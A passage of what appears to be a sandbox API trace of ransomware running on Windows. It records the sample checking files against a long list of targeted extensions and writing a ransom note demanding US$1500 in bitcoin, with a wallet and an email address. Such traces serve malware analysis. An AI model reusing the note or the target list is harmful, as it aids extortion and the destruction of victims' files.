returned 8 [0144.392] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.pdf") returned 0 [0144.392] lstrlenA (lpString="*.pdf") returned 5 [0144.393] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.cert") returned 0 [0144.393] lstrlenA (lpString="*.cert") returned 6 [0144.393] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.docm") returned 0 [0144.393] lstrlenA (lpString="*.docm") returned 6 [0144.393] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.xlsm") returned 0 [0144.393] lstrlenA (lpString="*.xlsm") returned 6 [0144.393] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.dwg") returned 0 [0144.393] lstrlenA (lpString="*.dwg") returned 5 [0144.393] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.nd") returned 0 [0144.393] lstrlenA (lpString="*.nd") returned 4 [0144.393] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.tlg") returned 0 [0144.393] lstrlenA (lpString="*.tlg") returned 5 [0144.393] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.lgb") returned 0 [0144.393] lstrlenA (lpString="*.lgb") returned 5 [0144.393] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.mov") returned 0 [0144.393] lstrlenA (lpString="*.mov") returned 5 [0144.393] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.xdw") returned 0 [0144.393] lstrlenA (lpString="*.xdw") returned 5 [0144.393] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.ods") returned 0 [0144.393] lstrlenA (lpString="*.ods") returned 5 [0144.393] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.wav") returned 0 [0144.393] lstrlenA (lpString="*.wav") returned 5 [0144.393] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.mp3") returned 0 [0144.393] lstrlenA (lpString="*.mp3") returned 5 [0144.393] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.aiff") returned 0 [0144.393] lstrlenA (lpString="*.aiff") returned 6 [0144.393] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.flac") returned 0 [0144.393] lstrlenA (lpString="*.flac") returned 6 [0144.394] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.m4a") returned 0 [0144.394] lstrlenA (lpString="*.m4a") returned 5 [0144.394] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\desktop.ini", pszSpec="*.csv") returned 0 [0144.394] lstrlenA (lpString="*.csv") returned 5 [0144.394] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0144.394] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0144.394] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc30001c2, dwReserved1=0x4e00c4, cFileName="LIXMVQOA", cAlternateFileName="")) returned 0 [0144.394] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0144.394] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x5014e8, dwReserved1=0x52d540, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.394] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0144.394] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0144.394] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0144.394] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0144.394] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*.*") returned="*.*" [0144.394] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\" [0144.394] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\" | out: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\") returned="" [0144.394] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\HOW TO DECRYPT FILES.txt" [0144.394] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\how to decrypt files.txt")) returned 0xffffffff [0144.394] CreateFileA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0144.396] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0144.396] WriteFile (in: hFile=0xa0, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0144.397] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.397] CloseHandle (hObject=0xa0) returned 1 [0144.397] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\", lpString2="desktop.ini" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini" [0144.397] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.ems") returned 0 [0144.397] lstrlenA (lpString="*.ems") returned 5 [0144.397] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.db") returned 0 [0144.397] lstrlenA (lpString="*.db") returned 4 [0144.397] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.dbf") returned 0 [0144.397] lstrlenA (lpString="*.dbf") returned 5 [0144.397] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.myox") returned 0 [0144.397] lstrlenA (lpString="*.myox") returned 6 [0144.397] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.myo") returned 0 [0144.397] lstrlenA (lpString="*.myo") returned 5 [0144.397] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.qbw") returned 0 [0144.397] lstrlenA (lpString="*.qbw") returned 5 [0144.397] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.qbb") returned 0 [0144.398] lstrlenA (lpString="*.qbb") returned 5 [0144.398] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.qbm") returned 0 [0144.398] lstrlenA (lpString="*.qbm") returned 5 [0144.398] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.qbo") returned 0 [0144.398] lstrlenA (lpString="*.qbo") returned 5 [0144.398] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.qbx") returned 0 [0144.398] lstrlenA (lpString="*.qbx") returned 5 [0144.398] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.qba") returned 0 [0144.398] lstrlenA (lpString="*.qba") returned 5 [0144.398] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.qby") returned 0 [0144.398] lstrlenA (lpString="*.qby") returned 5 [0144.398] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.qbj") returned 0 [0144.398] lstrlenA (lpString="*.qbj") returned 5 [0144.398] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.ofx") returned 0 [0144.398] lstrlenA (lpString="*.ofx") returned 5 [0144.398] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.qif") returned 0 [0144.398] lstrlenA (lpString="*.qif") returned 5 [0144.398] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.mye") returned 0 [0144.398] lstrlenA (lpString="*.mye") returned 5 [0144.398] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.mbox") returned 0 [0144.398] lstrlenA (lpString="*.mbox") returned 6 [0144.398] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.eml") returned 0 [0144.398] lstrlenA (lpString="*.eml") returned 5 [0144.398] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.pst") returned 0 [0144.398] lstrlenA (lpString="*.pst") returned 5 [0144.398] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.ost") returned 0 [0144.398] lstrlenA (lpString="*.ost") returned 5 [0144.398] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.idx") returned 0 [0144.399] lstrlenA (lpString="*.idx") returned 5 [0144.399] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.dbx") returned 0 [0144.399] lstrlenA (lpString="*.dbx") returned 5 [0144.399] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.sql") returned 0 [0144.399] lstrlenA (lpString="*.sql") returned 5 [0144.399] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.mdb") returned 0 [0144.399] lstrlenA (lpString="*.mdb") returned 5 [0144.399] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.fdb") returned 0 [0144.399] lstrlenA (lpString="*.fdb") returned 5 [0144.399] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.wab") returned 0 [0144.399] lstrlenA (lpString="*.wab") returned 5 [0144.399] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.dat") returned 0 [0144.399] lstrlenA (lpString="*.dat") returned 5 [0144.399] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.txt") returned 0 [0144.399] lstrlenA (lpString="*.txt") returned 5 [0144.399] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.jpeg") returned 0 [0144.399] lstrlenA (lpString="*.jpeg") returned 6 [0144.399] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.jpg") returned 0 [0144.399] lstrlenA (lpString="*.jpg") returned 5 [0144.399] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.png") returned 0 [0144.399] lstrlenA (lpString="*.png") returned 5 [0144.399] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.php") returned 0 [0144.399] lstrlenA (lpString="*.php") returned 5 [0144.399] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.cs") returned 0 [0144.399] lstrlenA (lpString="*.cs") returned 4 [0144.399] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.cpp") returned 0 [0144.399] lstrlenA (lpString="*.cpp") returned 5 [0144.399] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.rar") returned 0 [0144.400] lstrlenA (lpString="*.rar") returned 5 [0144.400] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.zip") returned 0 [0144.400] lstrlenA (lpString="*.zip") returned 5 [0144.400] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.html") returned 0 [0144.400] lstrlenA (lpString="*.html") returned 6 [0144.400] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.htm") returned 0 [0144.400] lstrlenA (lpString="*.htm") returned 5 [0144.400] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.xlsx") returned 0 [0144.400] lstrlenA (lpString="*.xlsx") returned 6 [0144.400] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.xls") returned 0 [0144.400] lstrlenA (lpString="*.xls") returned 5 [0144.400] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.mp4") returned 0 [0144.400] lstrlenA (lpString="*.mp4") returned 5 [0144.400] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.ppt") returned 0 [0144.400] lstrlenA (lpString="*.ppt") returned 5 [0144.400] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.pptx") returned 0 [0144.400] lstrlenA (lpString="*.pptx") returned 6 [0144.400] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.doc") returned 0 [0144.400] lstrlenA (lpString="*.doc") returned 5 [0144.400] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.dot") returned 0 [0144.400] lstrlenA (lpString="*.dot") returned 5 [0144.400] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.docx") returned 0 [0144.400] lstrlenA (lpString="*.docx") returned 6 [0144.400] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.7z") returned 0 [0144.400] lstrlenA (lpString="*.7z") returned 4 [0144.400] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.tar") returned 0 [0144.400] lstrlenA (lpString="*.tar") returned 5 [0144.400] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.bz2") returned 0 [0144.401] lstrlenA (lpString="*.bz2") returned 5 [0144.401] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.gz") returned 0 [0144.401] lstrlenA (lpString="*.gz") returned 4 [0144.401] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.mkv") returned 0 [0144.401] lstrlenA (lpString="*.mkv") returned 5 [0144.401] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.eml") returned 0 [0144.401] lstrlenA (lpString="*.eml") returned 5 [0144.401] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.msg") returned 0 [0144.401] lstrlenA (lpString="*.msg") returned 5 [0144.401] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.edb") returned 0 [0144.401] lstrlenA (lpString="*.edb") returned 5 [0144.401] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.accdb") returned 0 [0144.401] lstrlenA (lpString="*.accdb") returned 7 [0144.401] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.odb") returned 0 [0144.401] lstrlenA (lpString="*.odb") returned 5 [0144.401] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.java") returned 0 [0144.401] lstrlenA (lpString="*.java") returned 6 [0144.401] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.asm") returned 0 [0144.401] lstrlenA (lpString="*.asm") returned 5 [0144.401] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.pfx") returned 0 [0144.401] lstrlenA (lpString="*.pfx") returned 5 [0144.401] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.pem") returned 0 [0144.401] lstrlenA (lpString="*.pem") returned 5 [0144.401] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.p12") returned 0 [0144.401] lstrlenA (lpString="*.p12") returned 5 [0144.401] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.gpg") returned 0 [0144.401] lstrlenA (lpString="*.gpg") returned 5 [0144.402] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.vsd") returned 0 [0144.402] lstrlenA (lpString="*.vsd") returned 5 [0144.402] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.odg") returned 0 [0144.402] lstrlenA (lpString="*.odg") returned 5 [0144.402] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.raw") returned 0 [0144.402] lstrlenA (lpString="*.raw") returned 5 [0144.402] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.nef") returned 0 [0144.402] lstrlenA (lpString="*.nef") returned 5 [0144.402] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.svg") returned 0 [0144.402] lstrlenA (lpString="*.svg") returned 5 [0144.402] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.psd") returned 0 [0144.402] lstrlenA (lpString="*.psd") returned 5 [0144.402] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.vmx") returned 0 [0144.402] lstrlenA (lpString="*.vmx") returned 5 [0144.402] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.vmdk") returned 0 [0144.402] lstrlenA (lpString="*.vmdk") returned 6 [0144.402] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.vdi") returned 0 [0144.402] lstrlenA (lpString="*.vdi") returned 5 [0144.402] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.lay6") returned 0 [0144.402] lstrlenA (lpString="*.lay6") returned 6 [0144.402] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", pszSpec="*.mpeg") returned 0 [0144.402] lstrlenA (lpString="*.mpeg") returned 6 